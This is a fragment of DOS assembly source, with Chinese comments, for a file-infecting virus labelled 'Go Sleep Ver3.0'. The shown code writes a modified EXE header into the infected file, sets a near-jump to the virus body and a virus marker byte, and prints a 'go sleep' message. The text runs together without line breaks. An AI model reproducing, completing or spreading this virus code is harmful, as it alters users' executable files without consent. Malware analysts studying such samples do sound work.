;写文件头到文件首部@@CloseExeFile:mov ah,3ehint 21h ;关闭文件@@OptExeFalse:jmp @@ExitOpt@@JmpVirus:JumpNear db 0e9h ;近转移指令Jmp near xxxxJmpOffset dw ?VirusFlag db 'V' ;病毒标志为'V'字符@@DisplayMsg:pop dxpush dxadd dx,OFF @@Message-OFF @@TestFlag ;计算@@Message的偏移量push dspush cspop dsmov ah,09hint 21h ;显示信息,“夜已深,你该睡觉了!”pop dsret@@Message:db 0ah,0dh,07hdb 'Night is deep,you must go sleep!' db 0ah,0dh,'$'db 'Go Sleep Ver3.0 by Whg 2001.5.2' @@End:MyExeHeader db size ExeHeader dup(?) @@MemEnd:end @@Start。